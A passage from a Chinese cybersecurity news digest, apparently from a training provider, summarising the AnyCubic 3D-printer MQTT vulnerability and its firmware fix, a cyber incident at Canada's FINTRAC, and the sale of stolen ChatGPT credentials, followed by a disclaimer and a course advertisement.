https://store.anycubic.com/blogs/news/security-issue-of-anycubic-cloud AnyCubic发布了新的Kobra2固件,以修复上个月在全球3D打印机上打印安全警告的零日漏洞。2月底,AnyCubic打印机用户开始报告称,他们的Kobra3D打印机被一项打印作业攻击,该作业警告他们的设备容易受到严重漏洞的影响。该漏洞使攻击者能够滥用公司MQTT服务API中的不安全权限向打印机发送命令。这使得攻击者能够将名为“hacked_machine_readme.gcode”的G代码文件排队,当在文本编辑器中打开该文件时,其中包含一条警告,
9、加拿大反洗钱机构因网络攻击而关闭
https://fintrac-canafe.canada.ca/new-neuf/statement-declaration-eng 加拿大金融交易和报告分析中心(FINTRAC)宣布,作为预防措施,一次“网络事件”迫使其公司系统下线。FINTRAC是加拿大的一个政府机构,作为该国的金融情报机构运作。它从事洗钱调查,每年追踪数百万笔可疑交易,并向警方披露数千起非法资金流向。该机构在其网站上发表了一份简短的新闻声明,指出该中心的情报或机密系统未被访问,因此与其核心任务相关的敏感信息和操作能力仍然安全。作为预防措施,FINTRAC已将其公司系统关闭,以确保其完整性并保护中心维护的信息。
10、超22.5万个被盗的ChatGPT凭证在暗网市场上出售
https://www.secrss.com/articles/64185 Group-IB 调查结果显示,2023 年 1 月至 10 月期间,超过 225000 个含有泄露的 OpenAI ChatGPT 凭证的日志在地下市场上售出。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

